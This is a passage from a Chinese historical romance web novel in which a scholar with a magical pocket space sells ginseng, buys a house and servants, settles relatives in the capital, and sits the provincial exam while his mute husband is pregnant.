云长歇与这位嫂夫郎,这几日短暂的接触了几次,就发现他是个聪慧伶俐的。 之前苏青箬还担心,人家会被大房的人欺负。 是的,苏青箬自个被欺负过,还以为人家也会被欺负。 结果没有想到,嫂夫郎长得柔柔弱弱,实际上是个黑心莲。 而且人家身子骨很好,三月的时候滑胎没了个孩子,七月份的时候身体就养好了。 因为八月中秋,云长歇带着苏青箬柳氏回大房吃团圆饭时,就听说人家肚子已经有了。 这件事让大房所有人都很开心,就连看不上儿夫郎的云侍郎,都觉得这个哥儿的身体好。 云长誉前头两个,一个命短,一个乱吃药。 这一次的这个,第一个孩子没了,本来他们还担心滑过胎,他们以后子嗣会很艰难。 结果没有想到,人家哥儿身体这样好,没养多久就又怀上了。 听到这话,苏青箬下意识摸了摸自己的肚子。 他三月份,就跟云长歇圆房了。 云长歇忙着读书,两个人房事上就比较少。 不过再少,每个月也有三四回,怎么说他也该有了的。 察觉到苏青箬心情低落,云长歇有点无奈的在桌子下面拉了拉他的手。 他是真的不着急要孩子,毕竟他们现在连自己的家都没有。 他不想他们的孩子,跟着他们租房子生活,那样的日子太不安定。 如今看到苏青箬这样着急,想到最近他靠着美肤膏赚了不少银子,看来他们是时候买个属于自己的房子了。 何家前前后后,一共取过三次货。 第一次,云长歇给的货比较少,云长歇就赚了几十两银子。 第二次,云长歇给了一百多瓶,按照一瓶二十两的价格,一百多瓶就是二千多两。 除去商税,大概是一共有两千两。按照三七分,云长歇这边赚了一千四百两。 第三次,他给了二百多瓶,这一次的还没有卖完,估计要等到九月十月,才能收到想要的银子。 如今云长歇的手里,有一千六百多两银子,足够他们买个房子了。 但是他对外没有个营生,一口气拿出这么多银子,说不定会引起别人怀疑。 想到这里,云长歇微微皱了皱眉,难不成还是要卖草药吗? 他与苏青箬以前住在乡下,手里有几株名贵草药不奇怪。 到时候他把名贵草药的事情,推脱到苏青箬这个夫郎身上。 对外就说,苏青箬运气好,是山里长大的,苏青箬嫁给他后,在山上摘了两株人参。 如今到了京城,他们哪哪都需要花钱,苏青箬这才把人参拿出来卖了。 这算是云长歇,变相的给苏青箬抬身份,省得以后别人笑话他是泥腿子。 当然了,这件事他还需要跟苏青箬好好谈谈,要苏青箬这个夫郎配合他才行。 苏青箬是见过,福旺和山雀给云长歇带草药的事情的。云长歇拿出名贵草药,一点也不担心他会多想。 从大房这边回去,云长歇就跟苏青箬说起了这件事情。 他从芥子空间带了两株人参出来,都是那种品相很好,一看就价值连城的。 这种名贵草药,放在小地方估计卖不到多好的价钱。但是如果放在京城,它的价格绝对可以翻倍。 苏青箬听完了云长歇的想法,也觉得这件事推给他比较好。 云长歇的身体不好,是没有办法上山的。 至于福旺,山雀,它们通人性,能够帮他们找草药这种事情,也不方便对外面的人说。 它们太厉害了,太聪明了,若是被人知道容易遭人惦记。 他们家也就苏青箬喜欢上山,也是最有可能采到名贵草药的那个。 小夫夫两个人商量好了,次日就一起去药铺卖人参。 两株人参一大一小,大的那个估计有百年了。 这种人参最值钱,不能按照普通人参的价格卖。 一个药铺的掌柜,觉得云长歇与苏青箬年轻,想要以三百两的价格买了。 云长歇见对方做生意心眼不实诚,立刻抱着木盒想要带苏青箬离开。然后一转身就遇见了一个贵妇人,还差一点就撞到了人家的身上。 云长歇连忙给对方道歉,贵妇人脾气很好,没有因此生气,而是好奇的询问道:“这位公子,我刚刚听到你说,你手里有人参?可否让我看看?” 云长歇闻言,见周围有不少人看着,对方也不像是坏人,就把人参给她看了看。 那贵妇人是个识货的,她看完了那株大的人参,又看了看那株小的。 等到两株人参都看完,她便笑着对云长歇说道:“这两株我都要了,刚好我近日要回娘家,我娘家母亲身体不大好,就想给她送些补身体的。你这两株人参品相很好,我愿意出一千两银子买下来,不知道这位公子愿意卖吗?” 一千两银子算很高了。 平常人家可没办法,一口气拿出这么多银子。 云长歇不确定她是什么身份,见她给价这样好,还这样干脆,心里有点没有底。担心对方嘴上说得好听,到最后别不给他银子。 还真的不是云长歇小心眼,主要是这样的事情在古代有很多。 放在后世,会有诈骗的可能。 放在古代,有的人家有权有势,会出现强取豪夺的情况。 到时候人家把东西拿了,然后对外说给过银子了,他人微言轻的,还真的没有办法。 最后两株人参,是在云长誉的见证下卖了的。 说来也是巧了,今天云长誉休沐,正带着夫郎逛街呢。 两个人离老远,就听说有个人在卖百年的人参,很多人没有见过百年人参,都跑到那个药铺过来看热闹。 云长誉路过药铺时,往里面瞥了一眼,然后就拉着夫郎进去了。 有云长誉这个少卿大人见证,那贵妇人也不敢拿了东西不给银子。 等到成功拿到银子,云长歇便跟云长誉道了一声谢。 “这一次多谢兄长了,刚刚那位夫人给的价格太高,我还担心对方之后不给银子,所以当时心里还挺紧张和无措的。好在,兄长来的及时,不然我估计都不敢卖给她。” 听到云长歇的话,云长誉笑了起来。 “你小心一点没有错,京城表面看起来繁华风光,实际上有很多仗势欺人的事情。以后若是遇见麻烦的情况,你就让你的书童去找我。我们是兄弟,是自家人,你不需要跟我客气。” 云家大房只有两个男儿,云长睦这个人靠不住,心眼也小,整个大房只能靠云长誉一个人。 云长歇心性倒是不错,说不定以后能够读出来。以后云长誉在官场上,也能多个兄弟互相扶持。 一个成熟的大家族,不可能只有一个人支撑,这样不仅风险大,还会容易遭人迫害。 云家是新贵,也就是这几年才风光起来。 因为之前吃过苦,受过不少白眼。 如今好不容易起来,就不甘心再落魄下去。 可惜云家的男儿少,长字辈的又大多数没什么出息,如今也就云长誉与二房的一个现在有官在身。 若是云长歇能够读出来,不仅对大房这边有助力,对于整个云家也有好处。 云长誉是真心,希望他能够好好读书,然后考出个好功名的。 第54章 第 54 章 有了一千两银子的进账,…… 有了一千两银子的进账, 他们对外就有理由买房子了。 云家大房的房子,是云侍郎当官皇帝赏的,这边的房价相对比较高。 而且在大周, 从四进往上数的房子,只有有官身的才能住。 云长歇现在没有官位,还是一个十分低阶的秀才。 他顶了天的,只能住三进的房子, 再往上就不能住了。 不过好在, 他们这边人口少, 也用不到四进的房子。 不能买四进往上的房子,也不能买云家大房附近的。 云长歇与苏青箬商量了一下, 决定在靠近书院那边买房子, 这样以后云长歇去书院更方便点。这边住的大多数都是些读书人,读书人讲究面子, 名声,素质自然要比普通人高很多。 他们家搬到这边住,也不用担心被地痞流氓欺负了。 买房子的时候, 是云长歇, 苏青箬,以及柳氏一起去看的。 他们多看了几套房子,最后选中了一套靠近街道的。 这一套房子要价一千四百两,算是这一带房价比较高的了。 云长歇跟人家砍了半天价,后来对方还是看在云长誉的面子上让步的。 是的,京城也没有表面上看起来这样美好。 越是繁华, 热闹,人多的地方,越是讲究一个三六九等。 这里的人看人, 都不是用眼睛,他们要先知道你的身份,只有你的身份够大,你才有跟他们讲话的权利。 这让云长歇心里很不爽,也加重了他要考出个名堂的心理来。 新房子,最后以一千一百两的价格买下来的。 对方要一千四百明显高了,实际价格也就一千两左右。 不过这个已经不重要了,买下来了,就是为了住的,只要住的开心,其他的事情不重要。 买了新房后,他们没有立刻搬过来。 新房是个三进的院子,需要翻修的地方很多。 之后的一段时间,柳氏带着苏青箬一起,找了工匠好好翻修一番。 三进的院子,每个院子都不小,收拾起来还挺累人。 等到好不容易收拾好,差不多已经是冬月了。 他们是在冬月的十五那天,搬家到了新房子这边来的。 为了祝贺他们乔迁之喜,云长誉还亲自带着夫郎过来了一趟。 然后让云长歇没有想到的是,二房那边的人也过来了。 二房的人,以前也是住在京城的。 今年非常不巧,二老爷也就是云长歇二伯被调任出去,一家子的人也就跟着过去了。 今天二房过来的这个,是二房的嫡长子云长梓。 云长梓有官位在身,是一个在外比较清闲的散官。 他这一次进京来,是因为云侍郎给他找了一个在京的官职,把人从原本的职位给调了回来。 云家长字辈的孩子不多,云侍郎不希望他们漂流在外。 他把云长歇弄到京城来,是有想要帮弟弟看护一二的想法。 同样的,他把二弟的长子弄回来当官,也是不想对方在外面吃苦。 其他地方再好,也不可能比得上京城。 再加上,京城有他和云长誉在,日子总比要在其他地方好一些。 云长梓今年也有三十了,他已经娶妻生子,还纳了一房妾室。 因为长字辈的男孩少,云长誉这个老大还没有孩子。 云长梓就担起了,为云家开枝散叶的职责。 他的妻子,前后给他生了三个孩子,两儿一女。 他的妾室,也生了两个孩子,一儿一女。 他一个人,就有五个孩子,在他们这一辈里,确实算是孩子比较多的。 大概是因为纵欲过多,加上本人是个懒散的,云长梓这个人看起来有点阴郁。 云长歇在新家招待了两位哥哥,苏青箬跟着嫂夫郎接触了一下云长梓的妻子与孩子。 云长梓的妻子,是个性格有点刻薄的人。 不过她的刻薄,不会表现在所有人面前,只会表现在苏青箬面前。 也不知道是她看不上云长歇,还是觉得苏青箬是个哑巴。 只要嫂夫郎林氏看不见,她就抿着嘴用很尖锐的目光盯着苏青箬打量。 苏青箬没有想到,今天会来云家的晚辈,没有什么体面的见面礼,就只好给了孩子银子。 然后对方看了之后,用只有苏青箬能听到的声音说了一句穷酸。 苏青箬气得不行,顿时也没有什么好脸色了。 这两年他跟着云长歇,被云长歇惯着,照顾着,性格也与以前不大一样。 柳氏这个婆母,也从来不苛待他。 已经很久很久,没有被人这样对待了,他还真的挺不习惯的。 林氏察觉到了苏青箬的不对劲,走到苏青箬身边看了弟媳一眼。 弟媳杨氏对林氏笑了笑,“嫂夫郎,我看时候也不早了,就不在这边多待了。我这两个孩子爱闹腾,嫂夫郎现在怀有身孕呢,省得他们闹得嫂夫郎心烦。” 林氏点了点头,算是同意了。 杨氏见状笑了笑,就拉着两个孩子,扭着腰肢离开了。 林氏看着她扭着腰的模样,忍不住皱了皱眉头。 随后云长誉找来的时候,他拉着云长誉小声的问道:“二房的那个,是个什么情况?不是说是商户之女吗,怎么……怎么看起来不大对劲?” 云长誉闻言轻声回答道:“她生母是个瘦马,小时候跟在她母亲身边一段时日,估计是学到了一些不好的东西。她是庶女,还有个那样的母亲,本来我们家是不同意这桩婚事的。可惜……长梓他,偏偏就喜欢这样的,最后还是把人迎进了家门。” 这几年里,她连续生了两个儿子,就自认为腰杆子硬了,真性情就渐渐显露了出来。 林氏:“那你们这一家子,好像娶的都不是什么身份尊贵的。” “也不算,长睦的未婚妻是袁北宋家的嫡女,二房的长佑娶的也是名门之女。” 然后是三房,云长歇两位哥哥也都是娶的高门之女。 说来,也就是云长誉,云长梓,云长歇娶的不大如意。 当然了,这个不大如意,是云家长辈的想法。 至于他们本人,三个人自己都觉得挺不错的。 等到客人都走了,云长歇这才清闲下来,也就注意到了苏青箬的情绪有点不对劲。 他拉着苏青箬回到他们的房里,这才开口问道:“怎么了?发生不愉快的事情了?” 苏青箬没办法说话,此时的心情不大好,也不想动笔写出来。 云长歇见状便把人搂进怀里,然后轻声细语的哄着他说道。 “你不想告诉我,那我就自己来猜猜?是杨氏或者她的孩子,让你觉得不开心了?” 苏青箬接触过林氏,对于林氏的印象很不错。 林氏又是个聪慧的,他不会轻易去得罪人。哪怕苏青箬是个哑巴,他也不会因此低看他。 不可能是林氏,苏青箬能够接触到的,也就是新认识的杨氏,以及杨氏的两个孩子了。 杨氏今天只带了两个儿子过来,她是个传统古代女性,骨子里重男轻女。 她生了三个孩子,却只疼爱两个儿子,那个女儿跟透明人一样。 说来也可笑,她夫君云长梓反而更疼女儿。 也不是说云长梓不重男轻女,他是男人,还是古代的男人,他骨子里也重男轻女。 但是重男轻女,不代表他不在乎女儿。 对于嫡女,他还是十分疼爱的。 就比如此时此刻,在云长歇哄苏青箬的时候,另一边的云长梓就在责备杨氏。 “为何今日去长歇家里时,你不把良姐儿一起带上?” 杨氏闻言不大在意的说道:“良姐儿是个女孩,女孩带出去不方便。” 云长梓:“哪里不方便了,你身边那么多下人,又不是让你照顾。还有就是,我今天去她院子的时候,发现连个伺候的人都没有。我不是给她安排了个侍女吗,你是不是把人又给调走了?” 杨氏见他张口闭口女儿,就忍不住一阵的烦躁。 “她是姑娘家,长大后嫁人了,也需要学会伺候别人,我就想着不如从小……” 不待她把话说完,云长梓就突然站起身出去了。 杨氏见状气得不行,知道他又跑去见他女儿去了,不知道为什么就觉得很恶心。 …… 云长歇:“你若是不喜欢他们,以后我们就少跟他们来往。” 苏青箬听到这话,一脸的无奈。 他抬眸看了看云长歇,然后把脸靠在云长歇肩膀上,用手指在云长歇的胸口写着。 “不好。” 他们毕竟是亲戚,哪有亲戚不来往的。 “没事的,我现在还在读书,平日里比较忙。长梓堂哥当官,也是比较忙的,估计他也没有时间,经常带着家眷过来。若是我不在家时,他们过来拜访了,你就不要去见人。大家都知道你不能说话,你不去见他们也没有关系,到时候我会跟他们解释的。” 苏青箬觉得,云长歇的方法不行。 亲戚之间,还是要来往的。 他以后也会聪明一点,杨氏看不起他,他也看不起她。 哼,不是只有她人前人后两幅面孔的。 以后没有人的时候,他也要给她摆脸色看。 云长歇见苏青箬情绪好了一点,便哄着他把今天的事情告诉了他。 得知这个杨氏这样尖酸刻薄,云长歇的眼神也冷下来了两分。 这样的人,还好是个女眷,若是她个男人,经常出门在外的,绝对容易惹出事来。 第55章 第 55 章 新家是个三进的院子,三…… 新家是个三进的院子, 三个院子都还挺大的。 苏青箬与云长歇住主院,也就是中间的那个院子。 家里的男仆,住在前院。 前院除了男仆, 还有马厩。 柳氏跟其他人,都住在了后院。 后院还有个后门,他们不需要绕远路,就能够从后院出去。 如今他们家, 男仆只有陈猎户与远志两个人。 云长歇身边的书童, 平日里不怎么在家里的, 云长歇就想要再买个男仆。 既然要买个男仆,苏青箬身边也要添个新人。 等到苏青箬有了孩子, 一个甜桑估计忙不过来。 不如趁着买男仆时, 让苏青箬挑一个自己喜欢的。 于是云长歇趁着休沐那一天,让人牙子带了几个奴仆上门, 他们在前院好好挑选了一番。 本来说好了,买个男仆,买个小侍, 就行了的。 后来看到柳氏, 柳氏的年纪大了,箐珊跟着她吃过不少苦。箐珊一个人伺候柳氏,以后会越来越辛苦的。 云长歇想着,既然都买下人了,不如给柳氏也添一个。 给她添个年轻,能吃苦的, 这样也能给箐珊减轻一点负担。 趁着箐珊现在还年轻,让箐珊带着好好的教一教,以后就能顶替箐珊的位置, 让箐珊年纪大了能安享晚年。 柳氏对此还挺高兴的,她也不想箐珊太辛苦了。 这些年箐珊跟着她吃苦受累,如今好不容易能过好日子了,她想箐珊以后能够轻松一些。 人牙子带了不少人过来,男的五个,女的五个,还带了四个哥儿。 云长歇先挑了一个半大小子,让他以后跟着陈猎户看家护院。 苏青箬自己选了个哥儿,他选的哥儿是个二十出头的。 对方长得挺瘦的,细胳膊细腿,看着就不像是个有力气的。 好在,苏青箬要的也不是粗使,而是想要找一个细心的。 这个哥儿长得瘦,又不需要他做洒扫的活,瘦一点也没有多大关系。 然后是柳氏选的,柳氏选的是个侍女。她是女子,身边带侍女会更方便一点。 她年纪大了,箐珊也不年轻了。就选了一个年纪小的,跟在她们身边也能多一些鲜活劲。 等到三个人都选好了,云长歇又选了个粗使婆子。 他们家的下人,男仆去不了后院,还缺个做洒扫的。 刚好里面有个婆子,是个农户出身,看起来就十分有力气,云长歇就干脆一起买了。 这四个仆人,一共花了不到三十两。 人在这个封建社会,真的是最不值钱的。 买了仆人,鉴定契书,云长歇就给他们取了新名字。 给他们取的名字,是延续之前的甘草,泽兰,远志的名字来的。 都是从草药里面选的。 新来的男仆,叫知辛。 女仆叫翠衣。 小侍叫杜若。 粗使婆子叫佩兰。 给他们取好了名字,梁婶就带着甜桑给他们买了两身换洗的成衣。 四个人好好拾掇一下,就没有之前那样狼狈了。 买好了奴仆,云长歇就带着苏青箬出去了一趟,打算趁着这几天去买一个铺子。 他们家明面上没有什么营生,买个铺子交给柳氏和苏青箬打理,也能够让家里面多一点进项。 铺子买的比较近,买在了云长歇读书的书院门口。 是一个前面是铺子,后面带小院子的铺面。 因为铺子不大,加上后院也才八十多平,价格自然也就不算多贵。 这个铺子,花费了云长歇四百多两。 买了之后,他就交给了柳氏与苏青箬来打理。 苏青箬没有管理过铺子,云长歇也没有急着让他学会管理铺子,就是让他先跟着柳氏身后慢慢学习。 如今这个铺子,主要还是交给柳氏来管。 柳氏以前经营过一个铺子,对于做生意她还是懂一些的。 她,箐珊,甜桑的绣活都很好。 就打算卖一些帕子,扇面,盖头之类的小东西。 也会收一些后宅女子夫郎绣的花样,一方面能够帮助其他女子哥儿赚点小钱,另一方面她也能够通过中间商赚一些利润。 这个铺子交给柳氏,云长歇就完全不管了。 他也没有真的,想要靠着这个小铺子赚钱。 就是为了给柳氏找个事情做,柳氏平日里天天闷在后宅里,太过清闲就会忍不住心慌。 人呢,还是要有个事业才行。 只有忙碌起来,日子才能觉得充实。 至于苏青箬? 云长歇也有他自己的打算,他想要一边与苏青箬准备生孩子,一边给苏青箬找名医治疗哑病。 他还不清楚,苏青箬是天生的哑巴,还是因为什么原因导致的。 他需要找名医帮忙看看,若是天生的就比较麻烦,估计想要治好有点难度。 若是后天导致的,只要找到病根在哪里,想要治好还是很简单的。 就比如,若是后天受伤导致的,云长歇可以用他的丹药给他治疗。 但是在不清楚病根是什么之前,是不可以自己随便乱服药的。 …… 腊月之后,云长歇书院就放假了。 京城这边,进入腊月之后,就开始下雪了。 这一天,云长歇去书院收拾他的东西,后面一个多月都不用来书院,他要带着书回家里好好读书。 然后他带着书童回去的路上,碰巧遇见有人正在迎亲。 迎亲的队伍很长,把整条街都堵住了。 云长歇和书童,被人挤的走散了。 书童看着面前的人群,顿时着急的额头冒冷汗。 他家公子身体不好,还是个文弱的书生,他十分担心公子会受伤。 云长歇并没有受伤,他很聪明的,在发现情况不对时,立刻就躲到了一边。 等到迎亲的队伍过去,他才从躲着的角落走出来。 就在他抬起头想要寻找书童时,就看到了人群里一个有点熟悉的身影。 云长歇一开始以为自己看错了,特意走过去又仔细看了一眼,这才一脸意外的朝着那人走去。 “徐大夫,你,你怎么会在这里?” 这个徐大夫不是别人,正是云香村那个徐大夫。 徐大夫看到云长歇时,整个人忍不住激动的不行。 “太好了,终于找到你了。” “怎么了?你不是在秋平县吗,怎么一个人来了京城?” 徐大夫一边拉住云长歇,一边开口对他解释道:“我不是一个人来的,锦漾和苜蓿也来了。” 听到苏苜蓿也来了,云长歇便询问了他们现在的住处,就要亲自上门看看他们什么情况。 半年前,苏苜蓿曾经给苏青箬来过一份书信,说是她前不久生下了一个女儿。 可惜他们现在在京城,也没有办法回去为她庆祝。 当时苏青箬回信时,给苏苜蓿寄了二十两银子。 没有想到半年过去了,也不知道发生了什么事,徐大夫他们竟然来了京城。 他们在京城没有认识的人,很明显是过来投奔云长歇与苏青箬的。 之后云长歇跟着徐大夫,见到了苏苜蓿小夫妻两个人,然后也知道了他们投奔的原因。 云香村附近出现了山匪,如今云知县正在带人剿匪。 徐锦漾觉得那边不安全,本来想要带家人去县城住。 后来苏苜蓿做了个噩梦,梦里她在县城被个混混盯上了,徐锦漾为了保护她被打成重伤。 不管这个梦是真是假,偏偏在他们要搬去县城的时候做的,苏苜蓿就觉得这个梦十分的蹊跷。 她很害怕,就闹着徐锦漾要来京城。 她觉得,只有京城才安全。 因为京城有她大哥与云长歇。 云长歇听完前因后果,觉得苏苜蓿的梦有可能是真的。 若是他们真的搬到县城,就到了三夫人徐氏的面前。 徐氏现在不能对云长歇怎么样,说不定会恨屋及乌伤害苏苜蓿他们。 好在,他们来了京城,不然还真的会有危险。 如今云长歇家的院子多,房子也多。 徐家没有什么银钱,可以先搬到他们那边住。 刚好苏青箬想要孩子,多抱抱苏苜蓿的孩子,也能够沾一沾喜气。 于是之后,云长歇就把徐家一家带回了家里。 苏青箬三人,看到苏苜蓿的时候,顿时开心的不行。 兄妹几人挤在一起,光是叙旧就聊了一下午。 后来还是因为,苏苜蓿的女儿哭闹,他们这才不再聊了。 徐家一家子,被云长歇安排到了前院客房居住。 他们人口不多,加上小婴儿也才四口人,对于云家这边不算是负担。 而且徐大夫是个大夫,他找了一份在医馆里的活计,每个月也能够赚一些银子。 徐锦漾本来也要出去找活的,后来发现柳氏铺子需要有人守着,他就暂时在柳氏的铺子那帮忙。 年关的时候,何家过来送银子,顺便来拿货物。 云长歇又赚了不少银子,就把柳氏铺子斜对面一个铺子盘了下来。 徐大夫的医术很不错,徐锦漾又子承父业。 云长歇把铺子盘了下来,给他们开了一个小医馆。 这样徐家人,能有个营生,能养活他们自己。 顺带的,云长歇还能收个房租。 这个铺子,要比柳氏的铺子大一些。 铺子一共有一百多平,后面带三间房间,还有个小阁楼。 云长歇把铺子租给徐大夫,徐大夫一家就搬到了铺子里住。 寄人篱下,哪怕是关系亲近的亲戚,他们也住的不大舒坦。 刚好租了云长歇的铺子,铺子后面有三间房间,足够他们一家住的了。 至于苏苜蓿与女儿,她们大多数住在医馆那边。 若是徐大夫要外出,徐锦漾也有事情的时候,她就会带着女儿来云家小住几日。 过了年,初三这一天,苏青箬被诊出怀孕了。 给他看诊的,就是徐大夫。 今个早上,苏青箬有点不舒服,脸色看起来不大好。 云长歇就陪着他,去了徐大夫的医馆。 经过徐大夫的把脉,云长歇就得知了这个喜讯。 孩子终于有了,苏青箬整个人就放松了下来,后面人开始肉眼可见的胖了。 看着镜子里,明显胖了一圈的人,苏青箬又有点容貌焦虑。 因为他发现,他不仅人胖了,脸上还长了斑。 这一日,云长歇从外面回来,给苏青箬带了喜欢吃的糕点,就看到苏青箬正对着镜子一脸哀愁。 云长歇凑过去问道:“怎么了?” 苏青箬闻言,点了点脸上的斑点。 云长歇见状笑着说道:“没事的,生完孩子就没了。” 有的孕妇怀孕长斑,据说是因为内分泌导致的。 具体他也不清楚,但是大多数生完后,就会慢慢自己好了。 至于万一自己不好? 云长歇可以直接给苏青箬服用养颜丹。 这样的小斑点,一颗养颜丹就足够了。 因为云长歇一脸笃定的模样,苏青箬也没有那么焦虑了。 他一边接过云长歇给他买的糕点,一边捏了捏自己脸颊上的肉。 他在问云长歇,他脸上的肉,是不是生完孩子也能消下去? 云长歇见状自然是点头的。 其实苏青箬现在也不胖,他就是没有怎么胖过,以为这样就是很胖了。 实际上,在云长歇的眼里,他现在就刚刚好,有点圆,但是不胖。 第56章 第 56 章 今年有乡试,乡试又称之…… 今年有乡试, 乡试又称之为秋闱。 每三年一次,今年云长歇刚好可以参加。 他的基础不错,如今又在京城书院读了两年书, 就想要试着参加今年的乡试。 不管能不能考中,多参加几次也能多一些经验。 本来乡试应该在府城考的,如今云长歇的户籍挪到了京城,他就算是京城这边的人了, 是可以在户籍处进行科考的。 若是没有把户籍迁过来, 云长歇想要参加乡试的话, 还要大老远回到府城去。 路上一来一回的,就要耽搁不少的时间。 今年除了云长歇, 云家还有两个人要参加科举。 一个是云长庚, 一个是云长尧。 他们两个人,现在都是秀才。 乡试三年一次, 他们的年纪不小了,自然都想参加这一次的乡试。 乡试在八月份,他们两个人要去府城参加乡试。 现在距离八月还有不到五个月, 接下来的时间云长歇就十分忙碌。 他大多数时间住在书院, 只有休沐的时候才回来。 本来苏青箬怀孕了,他应该守在苏青箬身边的。 但是自从苏青箬怀孕后,他就比较嗜睡,比较易醒。 云长歇睡在他身边,早上起来的时候,总是容易把他惊醒。 为了让苏青箬能睡好, 云长歇睡在书院比较好。 家里有柳氏看着,苏青箬身边还有甜桑,梁婶, 与杜若照顾,要比云长歇照顾的仔细多了。 虽然说是,云长歇没有多大的用处,他还是会在休沐时回去的。 他的作用,主要是让苏青箬心里舒服。 他每一次回来,也会给苏青箬喂灵泉水养胎。 因为苏青箬怀孕,身体要承受的痛苦比较大。养孩子,也需要大量灵泉水养胎。 云长歇就停了自己的灵泉,把所有的灵泉都用在了苏青箬与孩子身上。 大量的灵泉水用来滋补,苏青箬的气色,身体,明显比以前好了很多。 柳氏对此还挺惊讶的,一般怀孕的人都会出现很多不好的状态。比如身上水肿,面色发黄,神情憔悴,长斑,脱发,失眠,嗜睡等等情况。 苏青箬也就一开始比较嗜睡,脸上长了一些小斑点。 等到过了头三个月,他的状态就慢慢好了起来。 先是人胖了,紧接着他的皮肤白了,就连头发都黑了不少。 别人怀孕就会变丑,苏青箬却是相反的。 实际上,苏青箬怀孕时也变丑了。 只不过他的丑,还没有开始增大,就被云长歇给遏制了。 云长歇的灵泉,本来还挺多的。 最近为了给苏青箬,他连自己都喝不到了。 在这样多的灵泉的滋补下,就算他变丑了,也会再变美的。 …… 八月乡试的时候,苏青箬的肚子就八个月大了。 这个时候他就很少出家门了,想要走动也就在三个院子里转转,身边每一次都会跟着个人守着。 就连家里的猫,狗,鹅,一个个都尽量避着他。 它们长得矮,很容易绊到苏青箬。 这个时候,云长歇是真的没有一点时间去陪伴苏青箬了。 好在苏青箬身体好,加上有大量灵泉水滋补,倒是没有什么不适感。 也正是因为没有什么不适,他就没有因为自己夫君不能时常陪伴他感到难过。 乡试是在初九,一共要考三场,每场要考三天,一共要考九天。 也就是说,他们初九夜里进入考场,一直到十八号才能出考场。 之前云长歇说科举,不仅仅要考脑力,还需要考身体素质,这个时候就体现出来了。 因为八月的时候还很热,考场的环境又特别的艰苦。若是没有一个好的身体,很难在这样的环境下坚持下来。没办法坚持下来,就算有再好的学问也没有用。 如今的云长歇身体已经好很多了,这两年他在京城日子过得顺畅,在书院又要学君子六艺,身体慢慢就锻炼出来了。 古代的君子六艺,涉及的东西十分广泛。 并不是说,只会舞文弄墨就叫做君子。 真正的君子,需要文武双全,会吟诗作赋,会琴棋书画,还要会骑射御车等等。 只有这些样样都会,并且品貌端庄之人,才能够被称之为君子。 可不是古代电视剧里,那种稍微打扮好点的就叫君子。 真正的君子,要求很高很高的。 品性稍微差一点,那都不能称作君子。 因为是在京城最好的书院读的书,该学的,不该学的,云长歇是一样也没有落下了。 也正是因为他学的东西多,这两年他几乎没有任何娱乐。 在云长睦跟着朋友吃喝玩乐时,他不是在书院读书就是在家陪家人。 他把玩乐的时间挤出来,自然就要比别人学习的时间更多了。 八月初九,云长歇在书院夫子的带领下进了考场。 乡试要比院试时检查严格很多,他们进去的时候需要脱光衣服,还要把头发披散下来进行检查。 说实话这样的检查挺让人尴尬的,最让云长歇感到震惊的是,有人作弊竟然把小抄藏在身体里。 他知道这件事情的时候,人已经进入了第二道门,是听旁边的人小声议论才知道的。 从小没有见过这种事情的他,第一次听闻还是挺震惊挺不理解的。 云长歇是有芥子空间的,他若是想要藏小抄比任何人都容易。 但是他从来没有想过藏小抄,一来能够从书本上抄到的东西,原主与他都已经熟记于心了。若是连书本上要背的都记不住,这样的人也不适合考科举。 二来若是连小小的乡试都作弊,那就说明根本没有真才实学。就算侥幸的考上了举人,以后的仕途也走不远。 云长歇不屑于作弊,也从来没有想过作弊。 不过他不想作弊,不代表其他人也是这样想的。 随着越是往上考,考试获得的利益越大,越是有更多的人愿意冒险。 据说之前还有个冒名顶替的,就是把长相相似的人给杀了,顶替对方的身份去当官的。 这一场的乡试,就抓了不少作弊的。 云长歇十分庆幸,他们书院的学生都老实,跟他互保的考生没有作弊的,不然就要连坐也不能参加科举了。 成功的进入了考场,云长歇就发现京城的贡院要比府城的条件好很多。 府城的号舍小小一个,就跟公共厕所差不多。 京城的也不算很大,但是比较好一点的就是,有门,有窗户。 若是遇见下雨天,可以把门给关上,要比没有门舒服很多。 乡试的第一场,主要考的是贴经,墨义,策问,律法,与诗赋。 其中的贴经,墨义占了一大半,很明显第一场难度不算很高,主要是给考生练手用的。 贴经与墨义都是基础,是书本上的,这个云长歇还是比较拿手的,所以他做起来十分的自信。 因为一场考三天,考试的题量还是挺大的。 云长歇前面一天,都在做基础题,做题的速度比较快。 等到第二天开始,他做题速度就慢了起来。 他没有带食物水进来,考试时需要的东西就从考场里面买。 考场里的东西比较贵,不过从这里买要比自己带方便轻松很多。 加上有朝廷把关,食物,水也不会出现不干净的情况。 云长歇本来觉得,自己的身体挺不错的。 结果没有想到,第一场就遇见了高温天气。 白天的时候他有点犯困,太热了,整个人就十分没有精神。 所以第二天与第三天白天,他做试卷的速度就慢了很多,下午还会忍不住想要睡觉。 好在他第一天做的题量多,就算后面两天精力不济,第一场考试还是安全无恙的考完了。 紧接着就是第二场,这中间是没有什么休息时间的。 几乎是第一场考完,很快第二场就开始了。 这个时候的云长歇,就觉得有一点吃不消了。 他开始在自己的水里加灵泉水,只有这样才能让他提起一些精神来。 第二场主要考得是贴经,算术,策问,散文,以及诗赋。 贴经的内容,相较于第一场少了很多,但是依旧是送分题目。 云长歇先写的送分题,紧接着把他拿手的算术,散文给写了。 在第二场的最后一天,晴朗的天气突然一变,当天夜里下起了大雨。 害怕雨水打湿了试卷,云长歇立刻把门窗全部给关紧了。 他点了一根蜡烛,号舍的空间太小了,他不敢点太多的蜡烛。 万一不小心倒了,很容易把试卷给烧了。 本以为下雨了,天气就能够凉快一些。 但由于雨太大,怕打湿了考卷,大多数考生都关着门窗。 号舍又小,里面就闷热闷热的,比之前的高温还要难受。 云长歇仗着外面看不见里面,偶尔会进入芥子空间里消消暑。 他会在里面走动走动,吃一些东西,喝几口灵泉,整个人的状态这才好一点。 第57章 第 57 章 第三场,也就是八月十五…… 第三场, 也就是八月十五这一场,主要考的就不是基础了。 像是第一场与第二场,考卷上还会出一大半的贴经, 墨义这样的基础题。 等到第三场的时候,难度就明显提高了很多。 考卷上没有了送分题,只有策问,律法, 与诗赋了。 这三种题目, 除了要求考生有十分扎实的基础外, 更多考验的还是考生如何运用这些知识。 只有把书本上的东西融会贯通,结合实际情况写到了文章里, 才能够体现一个考生真正的实力。 因为最后一场, 题目难度大幅度增大,很多考生都挺紧张的。 前面两场, 有不少考生,因为压力大,身体不好, 气温高, 没有考完就被抬出去了。 等到第三场的时候,有的考生因为写不出来,突然在号舍里哀嚎起来。 还有的考生自己写不出来,就想要从号舍出来去撕坏别人的考卷。 是的,到了第三场,由于承受了太多压力, 就有不少人开始失控了。 就比如云长歇对面一个考生,他就企图从号舍里出来发疯。 只可惜,不等他跑出来对其他的考生造成影响, 